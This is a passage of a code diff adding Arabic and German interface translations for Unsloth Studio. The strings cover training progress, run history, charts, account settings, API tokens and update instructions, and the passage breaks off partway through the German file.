+      failedToLoadConfig: "فشل تحميل التكوين",
+      invalidYamlFile: "ملف YAML غير صالح",
+      failedToReadFile: "فشلت قراءة الملف",
+      parametersReset: "تمت إعادة تعيين المعلمات إلى إعدادات النموذج الافتراضية",
+      audioIncompatible:
+        "لا يدعم هذا النموذج الصوت. انتقل إلى نموذج قادر على معالجة الصوت أو اختر مجموعة بيانات غير صوتية.",
+      visionIncompatible:
+        "النموذج النصي غير متوافق مع مجموعة بيانات متعددة الوسائط. انتقل إلى نموذج رؤية أو اختر مجموعة بيانات نصية فقط.",
+      cancelTitle: "إلغاء التدريب",
+      cancelDescription: "هل تريد إلغاء عملية التدريب الحالية؟",
+      continueAction: "متابعة التدريب",
+      cancelAction: "إلغاء التدريب",
+      stopTitle: "إيقاف التدريب",
+      stopDescription: "اختر كيف تريد إيقاف عملية التدريب الحالية.",
+      stopAction: "إيقاف",
+      stopping: "جارٍ الإيقاف...",
+      stopAndSave: "الإيقاف والحفظ",
+      compareInChat: "المقارنة في المحادثة",
+      exportModel: "تصدير النموذج",
+      milestone: "معلَم",
+      halfwayDone: "اكتمل النصف. تجاوز التدريب 50%.",
+      doneNextStep:
+        "اكتمل التدريب. الخطوة التالية: قارن بين مخرجات النموذج الأساسي والمضبوط دقيقًا.",
+    },
+    history: {
+      title: "السجل",
+      emptyTitle: "لا توجد عمليات تدريب بعد",
+      emptyDescription:
+        "لا توجد عمليات تدريب بعد. ابدأ أول عملية تدريب في علامة تبويب الإعداد.",
+      loadError: "فشل تحميل عمليات التدريب",
+      deleteError: "فشل حذف عملية التدريب. يُرجى إعادة المحاولة.",
+      retry: "إعادة المحاولة",
+      loadMore: "تحميل المزيد",
+      loading: "جارٍ التحميل...",
+      loadingRun: "جارٍ تحميل عملية التدريب...",
+      runNotFound: "لم يُعثر على العملية",
+      deleteTitle: "حذف عملية التدريب؟",
+      deleteDescription:
+        "سيؤدي هذا إلى حذف عملية التدريب هذه وجميع مقاييسها نهائيًا. لا يمكن التراجع عن هذا الإجراء.",
+      runCount: "{count} عملية",
+      oneRun: "عملية واحدة",
+      resume: "استئناف",
+      resumeTraining: "استئناف التدريب",
+      resuming: "جارٍ الاستئناف...",
+      deleteRun: "حذف العملية",
+      loss: "الخسارة",
+      steps: "الخطوات",
+      lossTrendSparkline: "مخطط اتجاه الخسارة المصغّر",
+      relativeJustNow: "الآن",
+      relativeMinutesAgo: "قبل {count} دقيقة",
+      relativeHoursAgo: "قبل {count} ساعة",
+      relativeDaysAgo: "قبل {count} يوم",
+      status: {
+        completed: "مكتمل",
+        stopped: "متوقف",
+        error: "خطأ",
+        running: "قيد التشغيل",
+        continued: "مُستأنَف",
+      },
+      message: {
+        completed: "اكتمل التدريب",
+        stopped: "توقّف التدريب",
+        running: "التدريب قيد التقدم",
+        errored: "حدث خطأ في التدريب",
+      },
+      copyPreviewLink: "نسخ رابط المعاينة",
+      previewLinkCopied: "تم نسخ رابط المعاينة",
+      previewLinkCopyFailed: "تعذّر نسخ الرابط",
+    },
+    charts: {
+      settings: "إعدادات الرسم البياني",
+      settingsDescription:
+        "اضبط عرض الرسم البياني بينما يستمر التدريب.",
+      openSettings: "فتح إعدادات الرسم البياني",
+      viewWindow: "نافذة العرض",
+      viewWindowDescription: "إظهار أحدث الخطوات فقط أو السجل الكامل.",
+      window: "النافذة",
+      all: "الكل",
+      trainingLoss: "خسارة التدريب",
+      trainingLossDescription: "التحكم في التراكبات وتنعيم EMA.",
+      smoothing: "التنعيم",
+      smoothingDescription: "حرّك إلى اليمين لمزيد من التنعيم. `0` = خام.",
+      showRawLoss: "إظهار الخسارة الخام",
+      showSmoothedLoss: "إظهار الخسارة المُنعّمة",
+      showAverageLine: "إظهار خط المتوسط",
+      scaleAndCleanup: "القياس والتنظيف",
+      linear: "خطي",
+      log: "لوغاريتمي",
+      noClip: "بدون اقتصاص",
+      clipP99: "اقتصاص p99",
+      clipP95: "اقتصاص p95",
+      lossAxis: "محور الخسارة",
+      gradientNormAxis: "محور معيار التدرّج",
+      learningRateAxis: "محور معدل التعلم",
+      resetDefaults: "إعادة تعيين الافتراضيات",
+      loss: "الخسارة",
+      smoothed: "مُنعّم",
+      evalLoss: "خسارة التقييم",
+      learningRate: "معدل التعلم",
+      lr: "LR",
+      gradNorm: "معيار التدرّج",
+      gradientNorm: "معيار التدرّج",
+      step: "الخطوة {step}",
+      averageValue: "متوسط {value}",
+      waitingForFirstEvaluationStep: "في انتظار خطوة التقييم الأولى...",
+      evaluationNotConfigured: "التقييم غير مُعدّ",
+      evalChartWillAppear: "سيظهر الرسم البياني بمجرد الوصول إلى eval_steps",
+      setEvalDatasetAndSteps:
+        "اضبط مجموعة بيانات التقييم وeval_steps لتتبّع خسارة التقييم",
+    },
+    progress: {
+      title: "تقدم التدريب",
+      liveMetrics: "مقاييس التدريب المباشرة",
+      exportGguf: "التصدير إلى GGUF",
+      openConfig: "فتح تكوين التدريب",
+      configLabel: "تكوين التدريب",
+      hyperparams: "المعلمات الفائقة",
+      epochs: "الحقب",
+      batchSize: "حجم الدفعة",
+      learningRate: "معدل التعلم",
+      optimizer: "المُحسِّن",
+      maxSteps: "الحد الأقصى للخطوات",
+      contextLength: "طول السياق",
+      warmupSteps: "خطوات الإحماء",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "المتغيّر",
+      epoch: "الحقبة {value}",
+      percentComplete: "{percent}% مكتمل",
+      stepProgress: "الخطوة {current} / {total}",
+      loss: "الخسارة",
+      lr: "LR",
+      gradNorm: "معيار التدرّج",
+      project: "المشروع",
+      model: "النموذج",
+      method: "الطريقة",
+      elapsed: "المنقضي: {value}",
+      eta: "الوقت المتبقّي المقدّر: {value}",
+      stepsPerSecond: "{value} خطوة/ث",
+      noStepsPerSecond: "-- خطوة/ث",
+      tokens: "التوكنات: {value}",
+      gpuMonitor: "مراقب GPU",
+      live: "مباشر",
+      utilization: "الاستخدام",
+      temperature: "درجة الحرارة",
+      vram: "VRAM",
+      power: "الطاقة",
+      phase: {
+        idle: "خامل",
+        downloadingModel: "جارٍ تنزيل النموذج",
+        downloadingDataset: "جارٍ تنزيل مجموعة البيانات",
+        loadingModel: "جارٍ تحميل النموذج",
+        loadingDataset: "جارٍ تحميل مجموعة البيانات",
+        configuring: "جارٍ الإعداد",
+        training: "قيد التدريب",
+        completed: "مكتمل",
+        error: "خطأ",
+        stopped: "متوقف",
+      },
+    },
+    trainingStart: {
+      ready: "جاهز",
+      downloading: "جارٍ التنزيل",
+      preparing: "جارٍ التحضير",
+      left: "{eta} متبقٍ",
+      downloaded: "تم تنزيل {size}",
+      terminalStart: "> يبدأ تدريب unsloth...",
+      preparingResources: "> جارٍ تحضير النموذج ومجموعة البيانات...",
+      gettingReady: "> نحن نُجهّز كل شيء لعمليتك...",
+      waitingForFirstStep: "> {message} | في انتظار الخطوة الأولى... ({step})",
+      resumingTraining: "جارٍ استئناف التدريب...",
+      startingTraining: "جارٍ بدء التدريب...",
+      dataset: "مجموعة البيانات",
+      datasetStreaming: "مجموعة البيانات: بث مباشر (بدون تنزيل كامل)",
+      modelWeights: "أوزان النموذج",
+    },
+    tour: {
+      guidedTour: "جولة إرشادية",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/de.ts b/studio/frontend/src/i18n/locales/de.ts
new file mode 100644
index 0000000000..42df1d5cd3
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/de.ts
@@ -0,0 +1,1042 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const de = {
+  common: {
+    cancel: "Abbrechen",
+    close: "Schließen",
+    delete: "Löschen",
+    done: "Fertig",
+    error: "Fehler",
+    export: "Exportieren",
+    help: "Hilfe",
+    loading: "Wird geladen...",
+    new: "Neu",
+    rename: "Umbenennen",
+    save: "Speichern",
+    saving: "Wird gespeichert...",
+    search: "Suchen",
+    shutdown: "Herunterfahren",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Kontomenü von {name}",
+    updateAvailable: "Update verfügbar",
+    aria: {
+      home: "Unsloth Startseite",
+      closeSidebar: "Seitenleiste schließen",
+      openSidebar: "Seitenleiste öffnen",
+      chatOptions: "Chat-Optionen",
+      runOptions: "Trainingslauf-Optionen",
+    },
+    navigation: {
+      newChat: "Neuer Chat",
+      returnToChat: "Zurück zum Chat",
+      compare: "Vergleichen",
+      search: "Suchen",
+      hub: "Modelle",
+      train: "Trainieren",
+      recipes: "Rezepte",
+      export: "Exportieren",
+      recents: "Zuletzt verwendet",
+      noChatsYet: "Noch keine Chats",
+      settings: "Einstellungen",
+      api: "API",
+      lightMode: "Heller Modus",
+      darkMode: "Dunkler Modus",
+      guidedTour: "Geführte Tour",
+      help: "Hilfe",
+      logOut: "Abmelden",
+      shutdown: "Herunterfahren",
+    },
+    notFound: {
+      title: "Seite nicht gefunden",
+      description: "{path} existiert nicht.",
+      backToChat: "Zurück zum Chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Chat löschen",
+        description: 'Möchten Sie diesen Chat "{name}" wirklich löschen?',
+      },
+      deleteRun: {
+        title: "Trainingslauf löschen",
+        description: 'Möchten Sie diesen Lauf "{name}" wirklich löschen?',
+      },
+      renameChat: {
+        title: "Chat umbenennen",
+        placeholder: "Chat-Titel",
+      },
+      renameRun: {
+        title: "Lauf umbenennen",
+        placeholder: "Laufname",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun:
+        "Ein laufender Trainingslauf kann nicht gelöscht werden",
+      failedToDeleteChat: "Chat konnte nicht gelöscht werden",
+      failedToDeleteRun: "Lauf konnte nicht gelöscht werden",
+      failedToRenameChat: "Chat konnte nicht umbenannt werden",
+      failedToRenameRun: "Lauf konnte nicht umbenannt werden",
+    },
+  },
+  settings: {
+    title: "Einstellungen",
+    dialog: {
+      title: "Einstellungen",
+      description: "Verwalten Sie Ihre Unsloth-Einstellungen.",
+      closeAriaLabel: "Einstellungen schließen",
+    },
+    tabs: {
+      general: "Allgemein",
+      profile: "Profil",
+      appearance: "Darstellung",
+      resources: "System",
+      chat: "Chat",
+      connections: "Verbindungen",
+      apiKeys: "API",
+      about: "Über",
+    },
+    general: {
+      title: "Allgemein",
+      description: "Globale Einstellungen für Unsloth.",
+      account: "Konto",
+      huggingFaceToken: "Hugging Face Token",
+      huggingFaceTokenDescription:
+        "Wird verwendet, um gated Modelle zu laden und Artefakte zu pushen.",
+      hideToken: "Token verbergen",
+      showToken: "Token anzeigen",
+      tokenValidated: "Token validiert",
+      password: "Passwort",
+      passwordDescription:
+        "Ändern Sie das Passwort für dieses Unsloth-Konto.",
+      passwordDialog: {
+        trigger: "Passwort ändern",
+        title: "Passwort ändern",
+        description:
+          "Geben Sie Ihr aktuelles Passwort ein und wählen Sie ein neues (mindestens {minLength} Zeichen).",
+        currentPassword: "Aktuelles Passwort",
+        newPassword: "Neues Passwort",
+        confirmPassword: "Neues Passwort bestätigen",
+        currentTooShort:
+          "Das aktuelle Passwort muss mindestens {minLength} Zeichen haben.",
+        newTooShort:
+          "Das neue Passwort muss mindestens {minLength} Zeichen haben.",
+        mismatch: "Die Passwörter stimmen nicht überein.",
+        samePassword:
+          "Das neue Passwort muss sich vom aktuellen Passwort unterscheiden.",
+        update: "Passwort aktualisieren",
+        updating: "Wird aktualisiert...",
+        updated: "Passwort aktualisiert.",
+        updateFailed: "Passwortaktualisierung fehlgeschlagen.",
+      },
+      chatDefaults: "Chat-Standardeinstellungen",
+      autoTitleNewChats: "Neue Chats automatisch benennen",
+      autoTitleNewChatsDescription:
+        "Erzeugt einen kurzen Titel aus der ersten Nachricht.",
+      helperLlm: {
+        sectionTitle: "Helfer-LLM",
+        preloadOnStartup: "Helfer-LLM beim Start vorab zwischenspeichern",
+        preloadOnStartupDescription:
+          "Lädt das AI-Assist-Helfermodell beim Start im Hintergrund herunter. Standardmäßig aus; AI Assist kann es weiterhin bei Bedarf abrufen.",
+        disabledByEnv:
+          "Deaktiviert durch UNSLOTH_HELPER_MODEL_DISABLE in der Backend-Umgebung.",
+        loadError: "Helfer-LLM-Einstellungen konnten nicht geladen werden.",
+        saveError:
+          "Helfer-LLM-Einstellungen konnten nicht gespeichert werden.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Automatischer Modellwechsel (OpenAI API)",
+        enable: "Modell je Anfrage wechseln",
+        enableDescription:
+          "Wenn eine OpenAI-kompatible Anfrage ein anderes heruntergeladenes GGUF nennt, wird dieses vor der Auslieferung geladen. Standardmäßig aus; unbekannte Namen liefern weiterhin das geladene Modell aus.",
+        idleUnload: "Automatisches Entladen bei Inaktivität",
+        idleUnloadDescription:
+          "Entlädt das Modell nach dieser Anzahl inaktiver Sekunden, um VRAM freizugeben; die nächste Anfrage lädt es erneut. 0 hält es geladen. Minimum 60 Sekunden.",
+        idleNeedsEnable:
+          "Aktivieren Sie \"Modell je Anfrage wechseln\", damit ein entladenes Modell bei der nächsten Nutzung erneut geladen wird.",
+        idleActiveViaEnv:
+          "Automatisches Entladen bei Inaktivität ist über die Umgebungsvariable UNSLOTH_MODEL_IDLE_TTL aktiv.",
+        loadError:
+          "Einstellungen für automatischen Modellwechsel konnten nicht geladen werden.",
+        saveError:
+          "Einstellungen für automatischen Modellwechsel konnten nicht gespeichert werden.",
+        idleError: "Geben Sie 0 ein, um das Modell geladen zu halten, oder mindestens 60 Sekunden.",
+      },
+      previewSharing: {
+        sectionTitle: "Vorschau-Freigabe",
+        enableLabel: "Öffentliche Vorschaulinks",
+        enableDescription:
+          "Erlaubt jedem mit einem signierten Link, mit einem fertigen Modell zu chatten, ohne Anmeldung. Deaktivieren Sie dies, um die öffentliche Vorschau offline zu nehmen; geteilte Links funktionieren dann nicht mehr.",
+        loadError:
+          "Einstellungen für die Vorschau-Freigabe konnten nicht geladen werden.",
+        saveError:
+          "Einstellungen für die Vorschau-Freigabe konnten nicht gespeichert werden.",
+        revokeLabel: "Alle Vorschaulinks widerrufen",
+        revokeDescription:
+          "Rotiert das Signaturgeheimnis, sodass jeder von Ihnen geteilte Link nicht mehr funktioniert. Neu kopierte Links funktionieren weiterhin.",
+        revokeAction: "Links widerrufen",
+        revoking: "Wird widerrufen...",
+        revokeConfirmTitle: "Alle Vorschaulinks widerrufen?",
+        revokeConfirmDescription:
+          "Jeder von Ihnen geteilte Vorschaulink funktioniert sofort nicht mehr. Dies kann nicht rückgängig gemacht werden.",
+        revokeConfirmAction: "Alle Links widerrufen",
+        revoked: "Alle Vorschaulinks widerrufen",
+        revokeError: "Vorschaulinks konnten nicht widerrufen werden",
+      },
+      notifications: {
+        sectionTitle: "Benachrichtigungen",
+        showLlamaUpdates: "llama.cpp-Update-Benachrichtigungen",
+        showLlamaUpdatesDescription:
+          "Benachrichtigt, wenn ein neuerer llama.cpp-Build verfügbar ist, um neue Modelle auszuführen. Deaktivieren Sie dies, wenn Sie nur trainieren.",
+      },
+      gettingStarted: "Erste Schritte",
+      startOnboarding: "Einrichtung starten",
+      startOnboardingDescription:
+        "Öffnet den Einrichtungsassistenten erneut, ohne Ihr Konto zu ändern.",
+      startOnboardingAction: "Einrichtung starten",
+      uploads: {
+        sectionTitle: "Uploads",
+        maxUploadSize: "Upload-Limit für Trainingsdatensätze",
+        maxUploadSizeDescription: "Standard ist {defaultSize} MB.",
+      },
+      rag: {
+        sectionTitle: "Dokumente & RAG",
+        embeddingModel: "Embedding-Modell",
+        embeddingModelDescription:
+          "Hugging Face Modell oder lokaler Pfad zum Indexieren und Durchsuchen Ihrer Dokumente. Standard ist {defaultModel}.",
+        reindexWarning:
+          "Betrifft nur neu indexierte Dokumente. Laden Sie bestehende nach einer Modelländerung erneut hoch.",
+        emptyError:
+          "Geben Sie eine Hugging Face Modell-ID oder einen lokalen Pfad ein.",
+        loadError:
+          "Die Embedding-Modell-Einstellung konnte nicht geladen werden.",
+        saveError: "Das Embedding-Modell konnte nicht gespeichert werden.",
+        saved: "Embedding-Modell gespeichert.",
+        saveAnyway: "Trotzdem speichern",
+        resetAction: "Auf Standard zurücksetzen",
+      },
+      storage: {
+        sectionTitle: "Speicher",
+        modelsFolder: "Modell-Ordner",
+        modelsFolderDescription:
+          "Wo heruntergeladene Modelle gespeichert werden.",
+        openAction: "Öffnen",
+        copyAction: "Pfad kopieren",
+        copied: "Pfad kopiert",
+        openError: "Der Ordner konnte nicht geöffnet werden",
+        copyError: "Der Pfad konnte nicht kopiert werden",
+      },
+      resetPreferences: {
+        sectionTitle: "Gefahrenzone",
+        label: "Alle lokalen Einstellungen zurücksetzen",
+        description:
+          "Löscht nur lokal gespeicherte Einstellungen. Chats, API-Zugriff und in der DB gespeicherte Einstellungen bleiben erhalten.",
+        action: "Einstellungen zurücksetzen",
+        confirmTitle: "Alle lokalen Einstellungen zurücksetzen?",
+        confirmDescription:
+          "Löscht nur lokal gespeicherte Einstellungen und lädt Unsloth neu. Chats, API-Zugriff und in der DB gespeicherte Einstellungen bleiben erhalten.",
+        confirmAction: "Zurücksetzen und neu laden",
+      },
+    },
+    profile: {
+      title: "Profil",
+      description: "Wie Ihr Profil in Unsloth angezeigt wird.",
+      changePicture: "Profilbild ändern",
+      displayName: "Anzeigename",
+      nickname: "Wie soll Unsloth Sie nennen?",
+      nicknamePlaceholder: "Spitzname",
+      nicknameSaved: "Bevorzugter Name gespeichert",
+      avatarShape: "Form des Profilbilds",
+      avatarShapeCircle: "Kreis",
+      avatarShapeRounded: "Abgerundet",
+      chooseSloth: "Oder wählen Sie ein Faultier",
+      nameSaved: "Profilname gespeichert",
+      namePersistErrorTitle: "Profilname konnte nicht gespeichert werden",
+      namePersistErrorDescription:
+        "Der Name wurde für diese Sitzung aktualisiert, bleibt nach dem Neuladen aber möglicherweise nicht erhalten.",
+      photoUpdated: "Profilbild aktualisiert",
+      photoPersistErrorTitle: "Profilbild konnte nicht gespeichert werden",
+      photoPersistErrorDescription:
+        "Das Foto wurde für diese Sitzung aktualisiert, bleibt nach dem Neuladen aber möglicherweise nicht erhalten.",
+      photoUpdateErrorTitle: "Profilbild konnte nicht aktualisiert werden",
+      imageUseError: "Dieses Bild konnte nicht verwendet werden.",
+    },
+    appearance: {
+      title: "Darstellung",
+      description: "Wie Unsloth Studio auf diesem Gerät aussieht.",
+      theme: {
+        title: "Design",
+        label: "Farbschema",
+        description: "Hell, dunkel oder dem System folgen.",
+        system: "System",
+        light: "Hell",
+        dark: "Dunkel",
+      },
+      language: {
+        title: "Sprache",
+        label: "Anzeigesprache",
+        description: "Die von Unsloth verwendete Sprache.",
+        autoDetect: "Automatisch erkennen",
+      },
+      layout: {
+        title: "Layout",
+        compactSidebar: "Seitenleiste standardmäßig anheften",
+        compactSidebarDescription:
+          "Hält die Seitenleiste ausgeklappt, statt sie zu Symbolen einzuklappen.",
+      },
+    },
+    resources: {
+      title: "System",
+      description:
+        "Überwachen Sie Hardware und Speicher dieses Unsloth-Servers.",
+      liveUpdates: "Live-Updates",
+      floatingWindow: "Schwebendes Fenster",
+      disableOverlay: "Overlay deaktivieren",
+      liveMonitor: {
+        title: "Live-Monitor",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Festplatte",
+        vram: "VRAM",
+        cpuCores: "{logical} logische / {physical} physische Kerne",
+        currentLoad: "Aktuelle Auslastung",
+        free: "{value} frei",
+        noGpu: "Keine sichtbare GPU",
+      },
+      gpu: {
+        title: "GPU-Geräte",
+        noGpu:
+          "Keine sichtbare GPU erkannt. Oben werden nur die CPU-Ressourcen angezeigt.",
+        unknownDevice: "Unbekannte GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} belegt",
+        free: "{value} frei",
+        total: "{value} gesamt",
+      },
+      storage: {
+        title: "Speicher",
+        systemDisk: "Systemfestplatte",
+        diskUsage: "{used} belegt / {total}",
+        diskFree: "{free} frei",
+        modelsFolder: "Modell-Ordner",
+        modelsFolderDescription:
+          "Wo heruntergeladene Modelle gespeichert werden.",
+        openAction: "Öffnen",
+        copyAction: "Pfad kopieren",
+        copied: "Pfad kopiert",
+        openError: "Der Ordner konnte nicht geöffnet werden",
+        copyError: "Der Pfad konnte nicht kopiert werden",
+      },
+      environment: {
+        title: "Umgebung",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Betriebszeit",
+        processMemory: "Prozessspeicher",
+        notInstalled: "Nicht installiert",
+        unknown: "Unbekannt",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description:
+        "Verwalten Sie den auf diesem Gerät gespeicherten Chatverlauf.",
+      modelDisclaimer: "Modell-Hinweis anzeigen",
+      modelDisclaimerDescription:
+        'Zeigt "LLMs können Fehler machen" unter dem Chatfeld an.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTML-Blöcke einklappen",
+        collapseHtmlBlocksDescription:
+          "Der Canvas-Modus klappt vollständiges HTML automatisch ein. Aktivieren Sie dies, um auch abgegrenzte HTML-Dokumente einzuklappen, wenn Canvas aus ist.",
+        allowNetworkAccess: "Netzwerkzugriff für Canvas erlauben",
+        allowNetworkAccessDescription:
+          "Erlaubt Canvas-Vorschauen, Skripte, Stile, Schriften, Medien und Netzwerkressourcen von CDNs zu laden. Für vollständig offline Vorschauen ausgeschaltet lassen.",
+      },
+      data: "Daten",
+      exportHistory: "Chatverlauf exportieren",
+      exportHistoryDescription:
+        "Alle Chats und Nachrichten als JSON herunterladen.",
+      exportAction: "Exportieren",
+      exportingAction: "Wird exportiert...",
+      exportConversations: "Zuletzt verwendete und Projekte exportieren",
+      exportConversationsDescription:
+        "Laden Sie zuletzt verwendete Chats oder diese plus Projekt-Chats als Raw JSONL, CSV oder ShareGPT JSONL herunter, kombiniert oder pro Chat.",
+      exportConversationsAction: "Exportieren",
+      exportScopeRecents: "Zuletzt verwendet",
+      exportScopeAll: "Zuletzt verwendet + Projekte",
+      exportCombinedSuffix: "(kombiniert)",
+      exportPerChatSuffix: "(pro Chat)",
+      importChats: "Chats importieren",
+      importChatsDescription:
+        "Importieren Sie einen JSONL-, NDJSON- oder CSV-Export in \"Zuletzt verwendet\".",
+      importChatsAction: "Importieren",
+      importNoConversations: "Keine Konversationen in der Datei gefunden.",
+      importedOneChat: "1 Konversation in \"Zuletzt verwendet\" importiert.",
+      importedChatCount:
+        "{count} Konversationen in \"Zuletzt verwendet\" importiert.",
+      importFailed: "Import fehlgeschlagen.",
+      clearHistory: "Chatverlauf löschen",
+      clearHistoryDescription: "Chatverlauf von diesem Gerät löschen.",
+      clearAction: "Löschen",
+      clearAllChats: "Alle Chats löschen",
+      clearAllChatsDescription:
+        "Löscht dauerhaft jeden Chat auf diesem Gerät.",
+      noChatsToClear: "Keine Chats zum Löschen.",
+      clearOneChatDescription:
+        "Löscht dauerhaft den einzigen Chat auf diesem Gerät.",
+      clearChatCountDescription:
+        "Löscht dauerhaft alle {count} Chats auf diesem Gerät.",
+      clearChatsAction: "Chats löschen",
+      clearOneChatTitle: "1 Chat löschen?",
+      clearChatsTitle: "{count} Chats löschen?",
+      clearChatsConfirmDescription:
+        "Löscht dauerhaft jeden Chat auf diesem Gerät. Dies kann nicht rückgängig gemacht werden.",
+      clearingAction: "Wird gelöscht...",
+      clearOneChatAction: "1 Chat löschen",
+      clearChatCountAction: "{count} Chats löschen",
+      clearedAllChats: "Alle Chats gelöscht",
+      clearedOneChat: "1 Chat gelöscht",
+      clearedChatCount: "{count} Chats gelöscht",
+      someChatsCouldNotBeCleared: "Einige Chats konnten nicht gelöscht werden",
+      chatsClearedRemainOne:
+        "{clearedCount} Chats gelöscht; 1 Chat verbleibt. Bitte erneut versuchen.",
+      chatsClearedRemain:
+        "{clearedCount} Chats gelöscht; {remainingCount} Chats verbleiben. Bitte erneut versuchen.",
+      oneChatClearedRemain:
+        "1 Chat gelöscht; {remainingCount} Chats verbleiben. Bitte erneut versuchen.",
+      oneChatClearedRemainOne:
+        "1 Chat gelöscht; 1 Chat verbleibt. Bitte erneut versuchen.",
+      storageClearFailedOne:
+        "Ein Speichervorgang ist fehlgeschlagen; 1 Chat verbleibt möglicherweise. Bitte erneut versuchen.",
+      storageClearFailed:
+        "Ein Speichervorgang ist fehlgeschlagen; {count} Chats verbleiben möglicherweise. Bitte erneut versuchen.",
+      failedToClearChats: "Chats konnten nicht gelöscht werden",
+    },
+    connections: {
+      title: "Verbindungen",
+      description: "Verwalten Sie Anbieter und externe Verbindungen.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Zugriff auf Unsloth über die OpenAI-kompatible API.",
+      readDocs: "API-Dokumentation lesen",
+      noAccess: "Noch kein API-Zugriff.",
+      accessTokens: "Zugriffstoken",
+      loadError: "API-Zugriff konnte nicht geladen werden.",
+      createError: "Zugriffstoken konnte nicht erstellt werden.",
+      revokeError: "Zugriffstoken konnte nicht widerrufen werden.",
+      never: "Nie",
+      tokenNamePlaceholder: "Token-Name (z. B. production)",
+      newAccessTokenName: "Name des neuen Zugriffstokens",
+      createToken: "Token erstellen",
+      creating: "Wird erstellt...",
+      newTokenCreated: "Neues Zugriffstoken erstellt",
+      accessTokenCopied: "Zugriffstoken kopiert",
+      copyAccessToken: "Zugriffstoken kopieren",
+      copyNow: "Jetzt kopieren - es wird nicht erneut angezeigt.",
+      usageExamples: "Nutzungsbeispiele",
+      usageTools: "Tools",
+      exampleCurlTools: "curl + Tools",
+      examplePythonTools: "Python + Tools",
+      exampleJavaScriptTools: "JavaScript + Tools",
+      exampleCurlAdvanced: "curl + erweitert",
+      examplePythonAdvanced: "Python + erweitert",
+      exampleJavaScriptAdvanced: "JavaScript + erweitert",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "Sicheres HTTPS",
+      secureHttpsHint:
+        "Der 0.0.0.0-Port ist weiterhin global erreichbar. Für vollständige Sicherheit starten Sie Unsloth Studio mit --secure, um nur diesen HTTPS-Link freizugeben.",
+      copyTunnelUrl: "Tunnel-URL kopieren",
+      copySnippet: "Snippet kopieren",
+      copy: "Kopieren",
+      copied: "Kopiert",
+      setupDocs: "Einrichtungsdokumentation:",
+      codingAgents: "Coding-Agents",
+      codingAgentsHint:
+        "Starten Sie einen Coding-Agent gegen diesen Server. Er verwendet das geladene Modell; ein lokaler Server erstellt automatisch einen API-Schlüssel, ein entfernter fügt ihn dem Befehl hinzu.",
+      codingAgentsSwap:
+        "Ersetzen Sie claude durch codex, openclaw, opencode, hermes oder pi.",
+      codingAgentDetected: "Auf diesem Gerät installiert",
+      codingAgentsDetectedHint: "Auf diesem Gerät erkannt: {agents}.",
+      relativeNever: "nie",
+      relativeJustNow: "gerade eben",
+      relativeHoursAgo: "vor {count} h",
+      relativeDaysAgo: "vor {count} T",
+      relativeMonthsAgo: "vor {count} Mon.",
+      relativeYearsAgo: "vor {count} J",
+      expired: "abgelaufen",
+      today: "heute",
+      inDays: "in {count} T",
+      created: "Erstellt {value}",
+      used: "Verwendet {value}",
+      expires: "Läuft ab {value}",
+      actionsFor: "Aktionen für {name}",
+      copyPrefix: "Präfix kopieren",
+      revokeToken: "Token widerrufen",
+      revokeTitle: 'Zugriffstoken "{name}" widerrufen?',
+      revokeDescription:
+        "Apps, die dieses Token verwenden, verlieren sofort den Zugriff. Dies kann nicht rückgängig gemacht werden.",
+      revokeAction: '"{name}" widerrufen',
+      revoking: "Wird widerrufen...",
+    },
+    about: {
+      title: "Über",
+      description: "Dokumentation, Versionshinweise, Feedback und Build-Infos.",
+      studioVersion: "Unsloth-Version",
+      packageVersion: "Paketversion",
+      llamaCppVersion: "llama.cpp-Version",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Update",
+      help: "Hilfe",
+      documentation: "Dokumentation",
+      releaseNotes: "Versionshinweise",
+      whatsNew: "Neuigkeiten",
+      feedback: "Feedback",
+      reportIssue: "Problem melden",
+      license: {
+        sectionTitle: "Lizenz",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Open Source unter der GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Lizenziert unter Apache 2.0.",
+      },
+      dangerZone: "Gefahrenzone",
+      shutDownStudio: "Unsloth Studio herunterfahren",
+      shutDownStudioDescription:
+        "Stoppt den Unsloth-Server und beendet Ihre Sitzung.",
+      shutDown: "Herunterfahren",
+      update: {
+        title: "Unsloth Studio aktualisieren",
+        commandText: "{label}-Text",
+        copied: "Kopiert",
+        copyCommand: "Befehl kopieren",
+        commandCopied: "{label} kopiert",
+        copyNamedCommand: "{label} kopieren",
+        checkingInstall: "Prüfe, wie Unsloth installiert wurde...",
+        installIntro: "So installieren oder aktualisieren Sie Unsloth:",
+        localUpdateHeading: "Lokales Update",
+        installCommandUnix: "macOS/Linux-Installationsbefehl",
+        installCommandWindows: "Windows-Installationsbefehl",
+        localInstallDetected:
+          "Lokale Installation erkannt. Aktualisieren Sie aus Ihrem ursprünglichen Checkout, um zu vermeiden, dass er durch PyPI ersetzt wird.",
+        pullThenUpdate:
+          "Holen Sie die neuesten Änderungen und führen Sie dann den lokalen Installer aus:",
+        gitPullCommand: "git pull-Befehl",
+        localInstallerCommand: "Lokaler Installer-Befehl",
+        sourceInstallDetected:
+          "Quell- oder VCS-Paketinstallation erkannt. Installieren Sie erneut vom ursprünglichen lokalen Pfad oder der Git-URL.",
+        repoCheckoutFallback:
